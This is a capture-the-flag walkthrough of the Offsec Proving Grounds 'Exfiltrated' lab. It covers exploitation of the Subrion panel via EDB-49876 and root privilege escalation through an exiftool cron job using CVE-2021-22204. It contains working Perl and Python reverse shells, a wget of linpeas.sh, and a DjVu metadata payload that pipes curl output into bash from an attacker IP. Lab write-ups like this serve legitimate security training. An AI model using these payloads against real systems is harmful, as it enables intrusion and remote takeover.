

tags: Offsec PG Practice Easy Linux # Exfiltrated

```
(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.237.163 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.237.163:22
Open 192.168.237.163:80

PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh      syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http      syn-ack Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_ http-server-header: Apache/2.4.41 (Ubuntu)
|_ http-title: Did not follow redirect to http://exfiltrated.offsec/
|_ http-favicon: Unknown favicon MD5: 09BDDDB30D6AE11E854BFF82ED638542B
| http-robots.txt: 7 disallowed entries
| /backup/ /cron/? /front/ /install/ /panel/ /tmp/
|_ /updates/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
``` First`/etc/hosts`
```

```
(kali㉿kali)-[~/pgplay]
└─$ sudo nano /etc/hosts
```

192.168.237.163 exfiltrated.offsec

``` [edb-49876 \(https://www.exploit-db.com/exploits/49876\)](https://www.exploit-db.com/exploits/49876), use admin/admin can log in

```
(kali㉿kali)-[~/pgplay]
└─$ python3 49876.py -u http://exfiltrated.offsec/panel/ -l admin -p admin

$ whoami
www-data
``` useperl[reverseshell] (https://www.revshells.com/) use
```

```
(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp9001
```

```
$ perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.45.209:9001");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>,'
```

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

``` use linpeas.sh, findscript/opt/image-exif.sh

```
www-data@exfiltrated:/tmp$ wget 192.168.45.209/linpeas.sh
www-data@exfiltrated:/tmp$ chmod +x linpeas.sh
www-data@exfiltrated:/tmp$ ./linpeas.sh

...
Cron jobs
https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs
/usr/bin/crontab
incrontab Not Found
-rw-r--r-- 1 root root 1081 Aug 27 2021 /etc/crontab
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root bash /opt/image-exif.sh
``` googleSearch[CVE-2021-22204] (https://vk9-sec.com/exiftool-12-23-arbitrary-code-execution-privilege-escalation-cve-2021-22204/) can
```

```
(kali㉿kali)-[~/pgplay]
└─$ sudo apt-get install -y djvulibre-bin
```

```
(kali㉿kali)-[~/pgplay]
```

```
$ cat exploit.sh
```

```
#!/bin/bash
```

```
python3 -c 'import
```

```
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.45.209",9002));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

```
(kali㉿kali)-[~/pgplay]
```

```
$ cat payload
```

```
(metadata "lc${system ('curl http://192.168.45.209/exploit.sh | bash')}");
```

```
(kali㉿kali)-[~/pgplay]
```

```
$ djpeg exploit.djvu INFO=0,0 BGjp=/dev/null ANTa=payload
```

```
(kali㉿kali)-[~/pgplay]
```

```
$ mv exploit.djvu exploit.jpg
```

```
(kali㉿kali)-[~/pgplay]
```

```
$ rlwrap -cAr nc -nvlp9002
```

```
```,/var/www/html/subrion/uploads,download.jpg,cronRun
```

```
www-data@exfiltrated:/var/www/html/subrion/uploads$ wget http://192.168.45.209/exploit.jpg  
```` wait for reverse shell/rootdirectoryget proof.txt,`/home/coaran`get local.txt
```

## python3 -c 'import pty; pty.spawn("/bin/bash")'

```
root@exfiltrated:~# cat proof.txt
```

```
4a373d9e24d2bce4be3531c5d4e31faa
```

```
root@exfiltrated:/home/coaran# cat local.txt
```

```
f130c7eeb85096e5a0de2b32568f51ca
```

---